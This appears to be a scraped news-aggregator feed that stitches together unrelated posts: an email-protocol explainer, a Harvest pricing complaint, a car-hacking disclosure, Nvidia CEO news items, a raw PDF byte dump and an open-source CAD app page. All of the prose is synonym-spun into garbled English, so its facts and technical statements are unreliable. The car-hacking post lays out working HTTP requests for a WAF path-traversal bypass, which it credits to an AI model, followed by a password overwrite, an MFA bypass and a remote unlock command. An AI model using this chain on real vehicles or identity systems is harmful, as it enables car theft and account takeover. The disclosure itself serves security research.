In quoted-printable, equal signs are used as the escape character: if followed by two hex digits, it decodes to that byte. If followed by a newline, the two characters are removed. This is used to interrupt lengthy lines that could alternatively logic trouble.
In this email, "=3D" becomes a literal equal sign and the two lines are joined together. If you've always seen an email alongside stray equals or missing one or two characters ~ all 80 bytes, damaged quoted-printable decoding is normally the culprit.
The second "content-transfer-encoding" is base64, which is used for binary records akin attached images:
MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="5ZTNvId/H+rlk7Fr" Content-Disposition: inline --5ZTNvId/H+rlk7Fr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Check out this file: --5ZTNvId/H+rlk7Fr Content-Type: application/octet-stream Content-Disposition: attachment; filename="file.bin" Content-Transfer-Encoding: base64 J7mtSdbQItOAi345nwaNkkTXrnDIRPA0DSwhbSAOwm2C/KoHjQIotY9lnJRMBRk9InQaHOxL bb7DGd9EN6uRpjvCbox9xblAh3CxH7sl+YAkYcKw1V100RpBwMhgaXfUJBB3oRkLffgRwEyK v9qFBLp9zZ+SiRJoRWbA4aZLexPhHZ35vFROVKYtiAeMlD1s15v3kPZvEADam0e45BoSaqmp 1S3z3b5wBIFHJUxQULD589MKaFx2Z2A+91pl/pbZWmZkzt55D/hZ05kjUUbXUnDnTYAQE2Gk WnN+SnrQvfEO+Tz7AdrbLD1q2DgwWW+k0cVJLKjdwRxesGhAkQCZfHVrno6R4iXjTbInIbQv hXzQiV840iUiUhk282WADd1ffJ0sot2Waf7XHLIE1lZVFQ3iGofYbw8pZlg3sb35AnIWPZKv fbC6Yh95RV23R4K2NHeBX1rpl4bSSiftnD2RbsBzv7cgw/6M/Lj3O40NFGAaUC+J7TpAaXdi tvlPsNQhMo8QRf/ub7WK42cPUlz1fKq1k1pzGN96YOsE5azMfF4vLANtbtbVmLIp2WmgBk0P 9IGMWy/xIAe0cOh+bqzru2+ojJGgx9uX4VSTP9BaTOwkVX5+rQfpp1qJodtHiO8sHw6Pg+Mg WcpqQPC7118ccuT44cVpIRkwOSoJzsW++WM= --5ZTNvId/H+rlk7Fr--

This is why size limits are frequently disappointing: the email volition be 33% larger than the attached file. More productive encodings (raw binary data) are supported by several MTAs, but may have to be converted to base64 location downward the path... which would interrupt DKIM signing.
Generally:

No encoding ("7-bit") can be used if the communication has abbreviated lines and fits in low-bit ASCII. However, "7-bit" is mostly seen as a null encoding for already encoded multipart containers.

Quoted-printable if the communication is mostly text, but has item that risks breaking ancient software.

Base64 for binary data.

About TLS

The SSL/TLS used by communication clients is efficiently the identical as for a browser: the communication provider must go to a certificate authority, demonstrate their character and get a certificate.. Algorithms and ciphers are impaired at the least clue they may be insecure.
However, MTAs operates on "trusted" networks... although it's small that an attacker can't get admission to net traffic, but that if they could, it would be imaginable for them to continue an ACME difficulty and obtain out a trusted certificate.
As a result, the goal is mostly to defend against passive eavesdropping: most sysadmins don't annoy dealing alongside a CA and use self-signed certificates. (it's not akin CAs have a fine track record: 4)
Another weird item concerning email is that MTAs don't use a distinct TLS port. All connections on harbor 25 commencement as plaintext, afterward the sender issues a STARTTLS command and hands complete the association to a SSL/TLS library. It's slightly janky, but it allows servers to attempt to use encryption and cleanly autumn rear if it's not supported.
Such an method isn't awesome for submissions, since a autumn rear would leak the password... and baddies on shared networks or nosy residential ISPs can band out the STARTTLS command. For this case, it's finest to default use the dedicated SSL submission port: 465.
(This harbor really has a bit of a history, alongside it being deprecated in favor of STARTTLS before being re-endorsed formerly we realized using optional SSL for passwords was a bad idea.)
So what??

Unless you compose email connected application or run infrastructure, most of this data is deeply useless. However, there are a few things you power desire to remember.
The underlying protocols authorize five days for delivery, and it can sometimes obtain longer. Since users anticipate shipment in seconds and most emails are at smallest slightly period sensitive, some MTAs are configured to dispatch out postpone notification if a communication is taking a while.
You may desire to discover out if yours does this before assuming the recipient is ignoring you.
Emails are digital postcards.
A communication volition be stored and forwarded by multiple systems in plaintext. Anyone on the network way may be capable to peruse your email: SSL/TLS is not universally supported and can trivially be stripped out by energetic attackers.
This is an inherent part of email: there's no way to tack-on powerful encryption without breaking existing clients. If you need a justify of privacy, you must encrypt the communication before sending, and the recipient must decrypt it themselves. Be careful alongside built-in tools akin PGP: these mostly create it way too uncomplicated to accidentally hit "reply-all" without encrypting, in supplement to another flaws akin exposing the topic line.
PGP stuff
Since publication, multiple group have written to me explaining how obfuscating the topic row (or alert if the person fills it out) is completly unreasonable to anticipate from a for a self-proclaimed privacy tool. At smallest in my eyes, "encrypted messaging" method encrypted, not 90% encrypted and 10% plaintext.

The deficiency of deniablity and onward secrecy can be excused as limitiations of email's store-and-forward architecture... but default plaintext and making no attempt to encrypt certain the topic row or attachments is a formula for disaster: at smallest alongside vanilla email, group cognize it is not encrypted.

"Encrypted" email providers are mostly snake oil. While the communication shop can encrypt messages and a tradition MUA could decrypt them, the MTA must have admission to plaintext. As a result, it provides minimal to no safety against most assault vectors notwithstanding the "millitary class encryption". The lone way to fix email would be to get everyone to concur to toggle to an end-to-end encrypted protocol... but the entire item of email is worldwide compatability: encrypted messaging can exist, but encrypted email is contradictory.
The finest anticipation is to discover a communication provider that can be trusted not to snoop messages. That is to say, not an Advertising business (google) or one that's been pushing difficult for LLMs (microsoft / apple): both of these businesses create powerful incentives to peruse your messages. Although you'll motionless have to anticipation whoever you are communicating alongside isn't beign snooped on by their provider.
Worse, DKIM signatures act as a lifelong evidence that an email came from your provider's servers, equal if a communication is years old and has no apparent sequence of custody. This makes leaked, hacked, or snooped emails ideal blackmail material: since the bad performer can trivially demonstrate they haven't been fabricated.
This property, called non-repudiation, is mostly not desirable for messaging systems. Avoiding signing not an choice if you desire to interoperate alongside big-tech, but it is imaginable to regularly rotate and publish personal keys. Before they key is published, the signature can be trusted to verify it is legitimate. However, formerly the key has been published, the signature can been forged by anyone and is rendered retroactively untrustworthy.
Since authentication is checked during shipment by the MTA and LDA, this doesn't power how the email volition be handled. However, it volition mold doubt on the authenticity of leaked messages since the signature could have been forged alongside minimal effort.
While key rotation is average practice, most communication providers don't publish their old personal keys, so the signature is motionless trustworthy (modulo the assistance being hacked). I would advise against emailing item you wouldn't be comfortable study out in public.

https://www.rfc-editor.org/info/rfc821/: Original SMTP

https://www.rfc-editor.org/info/rfc2045/: MIME extended communication format

https://www.rfc-editor.org/info/rfc7208/: SPF Authentication

https://www.rfc-editor.org/info/rfc6376/: DKIM signing

RIP, Harvest

support@mycoding.id (Doris Putra) — Mon, 09 Nov 2026 02:58:21 +0700

I’ve been a self-employed contractor for concerning a decade now, and I’m bummed concerning Harvest.

Harvest was a time-tracking and invoicing service. You’d track how many hours or weeks you spent on a project, put together an invoice, email it to the client, and near it out whenever they paid. There was a small Stripe integration for accepting credit and ACH payments on the invoice web view. A historic diagram of total billed/paid amounts complete time, and a array of invoices. Harvest was exactly what you desire from small-business software: it solved a well-defined issue alongside a reliable, uncomplicated interface, and did so at a sensible monthly price. They managed to evade range creep and never tried to rotate into an accounting platform, or a blockchain for washing machines.¹ I loved Harvest and raved concerning it to all self-employed individual I met.

Back in 2025 Harvest got bought out by Bending Spoons, the business that gutted Vimeo. I was concerned they power ruin it, but was occupied alongside another things and didn’t have period to appearance for new invoicing software.

Long narrative short, they raised my cost from $13.32 to $133.98 per duration by moving everyone to a new “enterprise” scheme and “unlimited” use billing model, which is AFAICT, exactly what I had before. There’s additionally a “flex” scheme which expenses $12.65/mo… but that scheme now skims an additional 2% on top of the customary ~3% cardstock transaction fees. To be clear, that 3% pays for the entire credit cardstock network, affirmative all the group operating at Stripe and Mastercard, affirmative the financial hazard of chargebacks and fraud, etc. Harvest isn’t doing any of that work. I don’t cognize concerning you, but I don’t think I need to expend 2% of my income revenue to dispatch a brace PDFs a duration and cover a Stripe web form.

I wrote to Harvest concerning this, and discovered that they don’t peruse client emails any more. Instead they have a Large Language Model often vomit thousands of words at you. I’m no alien to enshittification, but man, I did not anticipate the speed at which Bending Spoons would run a absolutely fine business into the ground.

Time to discover a new invoicing service, I guess. Maybe bookkeeping too—Intuit’s Quickbooks Online seems to have entirely jumped the shark. Any of y’all freelancers have a scheme you like?

Unlocking any car from X brand in most of the world

support@mycoding.id (Riki Setiawan) — Mon, 09 Nov 2026 01:10:50 +0700

November 7 2026

I've continually had a gentle place for this particular car brand. Our family has owned a few of them complete the years, and they've served us incredibly well. In 2023, I bought a new four rotor drive/SUV from them, and it was the archetypal period I had admission to their connected car platform.
Having looked at platforms akin this before (previous works), I was sceptical concerning how safe they really were. I suspected there was item there, but existence kept getting in the way of really looking. This July, I collaborated alongside Sam Curry to obtain a appearance at the safety of a important automaker's connected car systems. Throughout this post, I'll mention to them merely as "the automaker".
When you typically think of car hacking, it's frequently uncomplicated to jump into the hardware flank of things, but my backdrop sits beautiful squarely in compromising internet-facing web applications and infrastructure. Regardless of all the hardware bits and bobs, it all connects rear to several assistance that, by design, have to be reachable from the internet.
The journey started alongside a uncomplicated question: what infrastructure does the app conversation to whenever I remotely unlock my car? To activity this out, I downloaded the APK and decompiled it, eventually reconstructing the API requests that were being made.
Going through the code, the chief item of communication seemed to be resources under *.redacted-telematics.com.au:
dartExecutor.executeDartEntrypoint(createDefault, CollectionsKt.r(gson.toJson(new GlobalConfigParams(false, g11, com.redacted.app.xcapp.a.f69866f, "X", str)), new Gson().toJson(new ApiConfig("https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au" ...
Almost all part of the person use called rear to redacted-telematics.com.au. What alternatively existed under this domain?
Running connected car infrastructure can be fairly complex, and managing it requires a mix of admin tools, staging, dev, and QA environments, to create certain that customers get a spotless experience. Whether all of that have to be sitting on the community internet, accessible to anyone consenting to do several essential reconnaissance, is a distinct story.
One asset caught my notice additional than the others. admintool.redacted-telematics.com.au returned a leaf titled TEST HARNESS. Who can oppose a subdomain alongside admintool in it?
Visiting this subdomain presented a extremely plain and gray login screen, which didn't exactly ooze quality, stated it presented a logout clasp before we'd logged in.
I affection that most single-page applications container their complete JavaScript bundle equal whenever all they need to render is a login page. Sure, several additional contemporary frameworks divided out JavaScript records so that they lone assist what is necessary, but in this case, we could comb through the ample JavaScript bundle to comprehend what this "admin tool" really let you do.
Oozing quality
Who equal says JavaScript bundles?
Turns out this admin tool let you do fairly a lot. It had a affluent API that let the automaker's workforce engage alongside client accounts and manufacturing vehicles alongside extremely few restrictions. Reconstructing the requests, we established that a lot of these APIs needed no authentication beyond the hardcoded API keys sitting in the JavaScript bundle.
For example, we could appearance up person accounts by email address:
But that's fair not fine enough. If we desire to unlock any of their cars from fair knowing the figure plate, we're going to need to do improved than that.
In Australia, a figure dish gets you the VIN (vehicle acknowledgment number) fairly effortlessly through state-based registration lookup sites.
This isn't really a safety flaw. There are plentifulness of lawful reasons to desire a VIN, akin checking a car's true repair and coverage former before purchasing second-hand. If we could go from VIN to a subscriber or email, we'd complete the chain.
Fortunately, there was an API that let you do exactly that:
With the subscriber GUID, you could drag the complete document particulars (including the user's email via the /v1/account endpoint) akin so:
Well, I conjecture we have the archetypal part of our sequence sorted. Plate -> VIN -> Subscriber GUID -> User Account PII (email) registered on the automaker's character phase (ForgeRock OpenIDM).
Now, how do we dispatch commands to any car we want? Surely this admin tool would let us do that? Unfortunately, no. It let us provision features to a car, add ourselves to a user's document as a secondary user, and equal create distant admission codes. But for all that functionality, none of it really got us distant authority of a vehicle.
The character platform
Sam and I afterward spent two weeks digging into how the automaker manages their chief character system: the application they use, the way commands are issued, and how consumers authenticate.
When a person goes through the authentication stream for the automaker's mobile app, requests are made to login.redacted-identity.com.au, and following going through an MFA flow, a person auth token is eventually issued. This auth token is afterward used for consequent requests to api.redacted-telematics.com.au (both REST APIs and GraphQL). Once you have that auth token, it's beautiful much equivalent over. You can authority a user's car (remote unlock/lock, horns, engine, etc).
So if we could mint a token for any user, we'd eventually be capable to authority anyone's connected car. This is the viewpoint we went for.
The automaker is a dense person of ForgeRock's character application (OpenAM/OpenIDM). This is the cornerstone of their authentication mechanisms. Pulling the subdomains for *.redacted-identity.com.au, we quickly established their OpenIDM case at openidm.redacted-identity.com.au. This is the scheme that manages all character registered on the automaker's connected car platform.
This all clicked together whenever we were combing through the JavaScript records under *.redacted-telematics.com.au and we came throughout an entirely cursed vendor JavaScript bundle that embedded admin credentials for OpenIDM 😱:
Even although these admin credentials were meant to be for their staging environment, stated the hygiene we'd seen so far, we were beautiful certain they'd activity in manufacturing too.
Fighting the WAF
Looking nearer at OpenIDM, we couldn't inform whether the automaker knew how susceptible it was. One item was apparent though: they'd invested heavily in WAF rules to obstacle admission to the delicate APIs that ForgeRock typically lets you call via /openidm/*.
Even alongside the base IP, any petition to /openidm/ came direct rear as an Nginx WAF block. Someone had put genuine attempt into hardening these resources (despite them being externally accessible).
Fair enough, and we regard the hardening. But that much WAF funding normally method bandaids complete item known to be bad. They likely understood how bad it was to have this asset exposed at all, and several endeavor case kept it there anyway.
I'm not certain a WAF regulation has always stopped us whenever we're motivated enough, so we invested days into finding a way out of these protections, using our trusty way traversal tricks. How difficult could it be?
Validating the admin credentials we established inner the JavaScript bundle was not that tough. The Australian OpenIDM case had a few paths whitelisted akin /XUI/ and /UI/, and way traversal characters were not blocked, so item as uncomplicated as /XUI/..%2fopenidm/endpoint seemed to at smallest partially work:
At smallest we cognize the credentials activity in production
But it can never be as uncomplicated as that, right? The way traversal motionless didn't get us to the endpoints under /openidm/, gratitude to quirks in how OpenIDM handles routing. Every endpoint would error out akin so:
Gosh, we're so close?!
In OpenIDM's world, there were no servlets (or resources) registered against paths that included the way traversal inside them. So it would fair error out, equal although it issued us an admin JWT.
We were incredibly annoyed by this. A uncomplicated quirk in routing mechanisms (probably not equal designed as a safety consideration) was blocking the complete assault sequence from working. We sat disappointed for a few days, and we idea that the way traversal viewpoint fair wasn't going to work. We did discover a few another endpoints (user upload, for example) that looked akin they power work, but we hit another quirk, a servlet way check, that prevented us from using them meaningfully.
All of this made us ask a distinct question: why disclose these OpenIDM instances externally at all? Surely there had to be several lawful use case for these resources to be exposed on the internet? We went rear to the distinct JavaScript bundles we had collected from their resources and searched them for communications to OpenIDM. We turned to the decompiled Android use and established the following:
Maybe there is a whitelist for several endpoints?
These were plainly endpoints inside their OpenIDM asset that were contactable from the Android app. So, perchance these were accessible without the WAF getting in the way?
/openidm/endpoint/aaa -> 403 WAF blocked
/openidm/endpoint/pinService -> 404, no WAF block
Interesting!
What another tradition endpoints existed? With several extremely ray brute forcing and guessing, we quickly established a getUser endpoint. Guessing at parameters, we established it accepted mail, guid, and phone. Combined alongside our admin credentials, what did this really let us do?
Eep.
The reply came rear alongside the password hash, PIN code hash, mobile shove tokens, and PII including mobile numbers and complete names. There was no WAF obstacle on this endpoint, so no way traversal was needed and the accurate servlet responded.
Don't get me wrong, this was already beautiful impactful. But the passwords were hashed alongside PBKDF2-SHA512, and needing period on a hash cracking rig for all unlock, alongside no justify of success, felt a bit lacklustre.
Back to the example board. How could we admission the /openidm/managed/user servlet alongside our way traversal, and motionless have the way be recognised by OpenIDM? We grabbed the OpenIDM origin closest to the type we were evaluation against and let GPT 5.6 Sol Ultra expend a fine six hours on it.
It succeeded. Even although Sam and I had the two spent period trying to manually bypass this juvenile limitation ourselves, we hadn't tried all imaginable combination.
When Sam and I tried /XUI%2f..%2fopenidm/, we got a difficult 403, and being human, we assumed that applied to all prefix. What GPT 5.6 established was that /static%2f..%2fopenidm/ wasn't covered by the WAF at all, and it gave us the OpenIDM APIs without the servlet disturbance issue.
Taking complete accounts
With this bypass, taking complete an document became trivial. We could PATCH a new password for any person profile:
PATCH /static%2f..%2fopenidm/managed/user/f7ba554REDACTED HTTP/1.1 Host: openidm.redacted-identity.com.au X-OpenIDM-Username: idmadmin X-OpenIDM-Password: REDACTED X-OpenIDM-NoSession: true Content-Type: application/json If-Match: "0000000abc123..." Cache-Control: no-store Accept: application/json [{"operation":"replace","field":"/password","value":"Testing123!"}]
Which responded with:
> HTTP/1.1 200 OK > {"_id":"f7ba554REDACTED","_rev":"0000000def456..."}
OK, so we could overwrite the password for any user. But what concerning multi-factor authentication?
Skipping MFA
Well, the automaker's Australian surroundings had one additional misconfiguration: the multi-factor stage could be skipped entirely. First, we requested an authentication token from login.redacted-identity.com.au alongside a Resource Owner Password Credentials grant, which returned a spotless id_token we could toggle for item usable in the person app:
POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/x-www-form-urlencoded grant_type=password&[email protected]&password=Testing123!&client_id=REDACTED_PORTAL&client_secret=REDACTED > HTTP/1.1 200 OK > { > "access_token": "...", > "id_token": "eyJ0eXAiOiJKV1Qi...", > "token_type": "Bearer", > "expires_in": 3599 > }
We took that and moved on to stage two, exchanging the archetypal token for a session:
POST /json/realms/REDACTED/authenticate?authIndexType=service&authIndexValue=IDTokenROPC HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/json Accept: application/json Accept-API-Version: resource=2.0, protocol=1.0 idtoken: eyJ0eXAiOiJKV1Qi... > HTTP/1.1 200 OK > { > "tokenId": "AQIC5wM2LY4Sfcy...*", > "successUrl": "/openam/console", > "realm": "/REDACTED" > }
Lastly, we performed the token toggle for a mobile app admission token:
POST /oauth2/realms/root/realms/REDACTED/authorize HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/x-www-form-urlencoded Accept-API-Version: resource=2.1, protocol=1.0 x-fr-version: 2025.05.05 Authorization: Basic iPlanetDirectoryPro: AQIC5wM2LY4Sfcy...* Cookie: iPlanetDirectoryPro=AQIC5wM2LY4Sfcy...* client_id=REDACTED_APP&redirect_uri=com.redacted.app:/oauth2Callback&scope=openid%20profile%20write&response_type=code&state=&code_challenge=&code_challenge_method=S256&decision=allow&csrf=AQIC5wM2LY4Sfcy...* > HTTP/1.1 302 Found > Location: com.redacted.app:/oauth2Callback?code=&state= POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/x-www-form-urlencoded Accept-API-Version: resource=2.1, protocol=1.0 Authorization: Basic grant_type=authorization_code&code=&redirect_uri=com.redacted.app:/oauth2Callback&client_id=REDACTED_APP&code_verifier= > HTTP/1.1 200 OK > { > "access_token": "", > "refresh_token": "...", > "token_type": "Bearer", > "scope": "openid overview write", > "expires_in": 3599 > }
It's excellent convoluted, I know. OAuth is annoyingly difficult sometimes. But these steps let us bypass multi-factor authentication for any person of the automaker's connected car app.
Unlocking the car
At this point, we were so damn near to unlocking any of the automaker's cars in Australia. All that was remaining was issuing the command API requests alongside the app token we could now mint for anyone.
POST /v1/remote/route/command HTTP/1.1 Host: api.redacted-telematics.com.au Authorization: Bearer X-API-KEY: REDACTED X-GUID: f7ba554REDACTED X-BRAND: REDACTED X-APPBRAND: REDACTED X-CHANNEL: REDACTED X-LOCALE: en-AU X-APPVERSION: REDACTED X-OSNAME: Android X-OSVERSION: 14 X-DEVICE-TIMEZONE: AEST X-CORRELATIONID: 6f1a2b3c-4d5e-6f70-8192-a3b4c5d6e7f8 X-GENERATION: REDACTED VIN: XXXXXXXXXXXXXXXXX Content-Type: application/json Accept: application/json User-Agent: okhttp/4.12.0 {"command": "door-unlock", "autoFixPopup": false, "beepCount": null}
And magic. The doors unlocked.
We evidently did all of this on cars we explicitly owned or had approval to engage with.
But let's obtain a stage rear and think concerning what we achieved here. We could dispatch commands to any of the automaker's vehicles in Australia, throughout the two of their brands, by lone knowing the figure dish of the vehicle. The final sequence looked akin this:
Plate -> VIN -> Subscriber GUID -> OpenIDM admin credentials in JS vendor bundle -> Path traversal to bypass the WAF -> MFA bypass via ROPC stream -> Minting a person app token -> Remote command API.
At 12AM, whenever the complete sequence eventually came together, I took a abbreviated video of the manuscript in action. It's not polished, but it motionless felt magical seeing it all work. I certainly live for difficult challenges akin these.

0:00
/0:57

You power be wondering: Shubs, you stated any of their cars in the world. This lone covers Australia. What gives?
There's a much additional complex sequence that Sam and I worked on together, which he's published on his blog here. It required a lot additional activity than the steps we took for Australia, as the automaker had spent much additional period securing the US, Canadian, and European OpenIDM environments.
At the end of the day, alongside the two writeups combined, we could dispatch distant commands specified as unlocking and turning the engines on, for any of the automaker's vehicles in Australia, the United States, and Canada.

Here's what smart people are saying about Nvidia's investigation of CEO Jensen Huang

support@mycoding.id (Lauren Edmonds) — Mon, 09 Nov 2026 01:08:25 +0700

Joel Saget / AFP via Getty Images Nvidia CEO Jensen Huang stated in a memo on Sunday that he had been "unfaithful" to his wife.

On Sunday, Nvidia stated its commission of board opened an independent investigation into whether Jensen Huang had been the "target of a abroad intellect effort."
Huang shared a memo alongside Nvidia employees before in the day in which he stated he had been "unfaithful" to his wife.
In October, The New York Times reported that US officials believed that a Chinese intellect asset, Alice Huang, had developed a association alongside the Nvidia CEO. Alice Huang has been an administrator for Megaspeed, an Nvidia customer.
As Nvidia teeters on the border of a national safety scandal, several endeavor and tech leaders have begun to measure in. Here's what they're saying.

Bill Ackman, CEO of Pershing Square Capital Management

On Sunday, Pershing Square CEO Bill Ackman suggested group should guide alongside empathy whenever it comes to Huang.
"An alert: @JensenHuang is human. And he is an amazing human. Even amazing humans create mistakes," Ackman stated on X. "He takes complete duty as he should. We should all assistance him and his family. Onward."

Chris McGuire, elder chap at the Council on Foreign Relations

Chris McGuire, a elder chap at the Council on Foreign Relations, stated the US Department of Commerce shared accuse for the national safety threat.
He stated the division has enacted policies that create it uncomplicated for China to admission Nvidia most advanced chips.
"@CommerceGov guidance knew that Jensen was sleeping alongside a Chinese spy and that Megaspeed was a Chinese cutout, but motionless actively opposed any policies to tighten export controls on Nvidia chips. Why?" he wrote in an X article on Sunday.
"Commerce could have blocked part shipments to Megaspeed the instant it established out that it was run by a Chinese spy, but it did not. Commerce has additionally refused to enforce regulations—which ironically remain on the books—that would necessitate exporters to use for a licence to container ample numbers of AI chips to untrusted entities in many countries, which would forestall China from using casing companies akin Megaspeed to buy controlled chips," he added.
McGuire stated it's crucial that Nvidia takes national safety issues additional seriously, but additionally called on the US Department of Commerce to "tighten up export controls."

Jason Calacanis, angel capitalist and "All-in" host

Jason Calacanis, an angel capitalist and presenter on the "All-In" podcast, stated on Sunday that the US is in an urgent competition to guide the earth AI industry and that Huang was chief to that effort.
"We need to win, for the purpose of self-government and humanity. We are all in this together: the left, the correct and the center. There is no period for infighting," Calacanis wrote on X. "Jensen and NVIDIA's innovation are a crucial target, and we need to defend them both."
Calacanis called on the US to rally together against China and "go faster."
"Act accordingly," he wrote.

Dan Ives, partner and elder managing director at Yorkville Ives

Dan Ives, a partner and elder managing director at Yorkville Ives, stated on Sunday that the circumstance is a stain on Huang's reputation.
"This is a dreary eye instant for Jensen and volition spark multiple legislative inquiries at a minimum and volition create an overhang," Ives wrote.

Texas Rep. Michael McCaul

Texas Rep. Michael McCaul stated the US should "immediately pause" shipments of advanced AI chips to China until "we can get to the base of this event and justify our national safety is not being undermined."
"This is a traditional move from the CCP's playbook — and another example of why it can never be trusted," he wrote.

Shaun Maguire, partner at Sequoia Capital

Sequoia Capital partner Shaun Maguire shared a few thoughts in an X article on Sunday. Maguire called Huang "one of the top entrepreneurs of this generation," who additionally did item "incredibly dumb."
He called the decision "bad for America" but doubted Huang had bad intentions.
"two mistakes don't create a right, and I accept Jensen is irreplaceable for America's AI leadership," Maguire said.

Ross Gerber, chairman and CEO of Gerber Kawasaki Wealth and Investment Management

Ross Gerber additionally discussed the news in an X article on Sunday. Gerber is the chairman and CEO of Gerber Kawasaki Wealth & Investment Management.
"Extremely disappointing to see the news concerning Jensen. A huge error of judgement and at a totally crucial period for AI development. Not certain how this shakes out," he wrote.

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Herb Sutter: When a language's creator and its owners strongly disagree [pdf]

support@mycoding.id (Adi Gunawan) — Mon, 09 Nov 2026 00:28:01 +0700

%PDF-1.7 % 1 0 obj <>/Metadata 664 0 R/ViewerPreferences 665 0 R>> endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 23 0 R 26 0 R 27 0 R 28 0 R 30 0 R 31 0 R 32 0 R 34 0 R 36 0 R 37 0 R 39 0 R 40 0 R 41 0 R 42 0 R 45 0 R] /MediaBox[ 0 0 612 792] /Contents 4 0 R/Group<>/Tabs/S/StructParents 0>> endobj 4 0 obj <> stream x]ms۸~zgx'7JNq:pLjlɕ]%,2cR$AMuqarѸ&㋇OsSU^Vӓ Af`< GSdZ|K2><8pxp|L&,*U:p]z9&tw?g+Ū_{bҡgDvpQ

Here’s the full text of Jensen Huang’s memo to Nvidia

support@mycoding.id (Terrence O’brien) — Sun, 08 Nov 2026 23:54:50 +0700

On Sunday, Nvidia announced it was launching an investigation into CEO Jensen Huang’s association alongside Alice Huang, an AI administrator and delegate of the Chinese government. In supplement to the Board of Directors announcing the investigation, Huang sent a memo to Nvidia workforce acknowledging the affair. You can peruse the complete content below.
To my colleagues at NVIDIA,
I owe my family and all of you an apology.
I was unfaithful to my wife. My actions hurt her and our children. There is no excuse for what I did. I am deeply sorry.
Throughout my life, my family has stated me affection and support. They deserve my honesty and loyalty. Instead, I let them downward and damaged the existence we built together. I obtain complete duty for what I did and the hurt I caused, and I obtain the criticism that comes alongside it.
To my spouse and family: I affection you. I cognize an apology cannot undo what I have done. I anticipation our family volition heal and that, complete time, I can acquire rear your trust.
To my colleagues at NVIDIA, including those I have worked alongside for decades, and to our board, partners, and shareholders about the world: you deserve improved from me. Leading NVIDIA is the privilege of my life. My duty is to assist you and be deserving of your trust. I have fallen abbreviated of that responsibility. I am completely committed to NVIDIA and volition activity to acquire rear your confidence.
Regarding the national safety concerns raised in news reports, NVIDIA’s Board of Directors has initiated an autonomous investigation. I assistance the inquiry and volition cooperate fully. I affection our nation and our company. I am committed to protecting NVIDIA and supporting America’s national security. I am arrogant and grateful to be an American.
My family bears no duty for my choices. I do. Please provision them privacy.
— Jensen

Chimera Vocal Synth

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 23:36:03 +0700
Comments

KetchUp – Open-source SketchUp alternative built with Rust and WebGPU

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 23:35:35 +0700

KetchUp is a free, open-source 3D modeling app for woodworking and furnishings design. Plan a shelf, table, cabinet, or workbench alongside exact measurements before you build. Use it on Windows, macOS, Linux, or correct in your desktop browser.

A small sketch. A entire new dimension.Actual KetchUp workspace

Free & open source. No document needed.
Made for a desktop browser and a mouse.

From the archetypal line
to the finer details.

Start alongside a uncomplicated shape. Keep the tools you need close, and your example at the center.

Draw. Pull. Make it yours.

Sketch lines, rectangles, circles, and freehand outlines. Turn faces into forms alongside Push/Pull, afterward move, scale, offset, and paint.

Keep your ideas in measure.

Snap to geometry and axes, category exact lengths, and add dimensions. Organize the bigger image alongside groups, components, and tags.

Your work, in your hands.

Autosave locally and download portable .ketchup projects. Import SketchUp geometry or export an OBJ to obtain your example further.

Plan your furniture
before the archetypal cut.

For woodworkers, furnishings makers, and DIY builders who desire to examine a project in 3D.

Model the pieces

Draw commission outlines alongside rectangles and lines, afterward use Push/Pull to provision them thickness. Move and copy geometry to examine shelves, tables, cabinets, workbenches, and another furniture.

Check dimensions and fit

Enter exact lengths, break to geometry and axes, and use Tape Measure and Dimensions to inspect your design. Orbit about the gathering to assessment proportions before taking it to the workshop.

Keep the project organized

Use groups, reusable components, and tags to arrange parts. Save a portable .ketchup project locally, import SketchUp geometry, or export OBJ geometry for another 3D workflow.

Start alongside the browser editor or download the desktop app. Read the user guide for modeling instructions and supported workflows.

Your archetypal shape
is three steps away.

The publishing company opens alongside a spotless slate.
Here’s a fine location to start.

Open the workspace

Draw a rectangle
Click one corner, afterward the contrary border to create your archetypal face.

Give it several depth
Choose Push/Pull, click the face, move your mouse, and click to finish.

Find a caller perspective
Choose Orbit and drag to appearance around. Scroll to zoom; media F to fit your model.

A few things
before you begin.

What do I need to run it?
A desktop browser alongside hardware acceleration and WebGPU or WebGL2 support. Use a mouse and keyboard for modeling. You can additionally run KetchUp as a native Windows, macOS, or Linux app.
Where does my activity go?
Your example is autosaved in this browser on this device. Use File → Save to download a .ketchup project you can keep or open again. Clearing browser data can eliminate autosaved work, so download projects you desire to keep. There’s no haze retention or document to set up.
Can I use my existing models?
Use File → Import/Export to import SketchUp (.skp) geometry or export Wavefront OBJ (.obj). Imports run locally. SketchUp textures, scenes, and several example features aren’t supported; OBJ export includes geometry without materials.
Is KetchUp free?
Yes. KetchUp is open origin under the MIT licence and written in Rust. Explore the code, peruse the complete guide, or contribute on GitHub.

A blank canvas.
Plenty of possibilities.
Let’s create item Prefer the desktop? Download KetchUp

Nvidia CEO Jensen Huang's letter to staff about affair

support@mycoding.id (Putri Silvia) — Sun, 08 Nov 2026 23:20:09 +0700
Comments

Nvidia CEO Jensen Huang says he was 'unfaithful' to his wife: Read his note to staff

support@mycoding.id (Lauren Edmonds) — Sun, 08 Nov 2026 22:56:49 +0700

Nvidia stated it's examining whether CEO Jensen Huang was the mark of a "foreign intellect effort." Bloomberg/Getty Images

Nvidia CEO and originator Jensen Huang apologized for being "unfaithful" to his spouse in a note to personnel on Sunday.
Earlier in the day, Nvidia stated its commission of board opened an independent investigation into whether Huang had been the "target of a abroad intellect effort."
The New York Times reported final duration that US officials accept Alice Huang, a erstwhile administrator at a data center business in Singapore, was a Chinese intellect asset passing data to Beijing. The outlet reported that surveillance of Huang showed that she had developed a association alongside the Nvidia founder.
Read Huang's note to staffers here:
To my colleagues at NVIDIA,
I owe my family and all of you an apology.
I was unfaithful to my wife. My actions hurt her and our children. There is no excuse for what I did. I am deeply sorry.
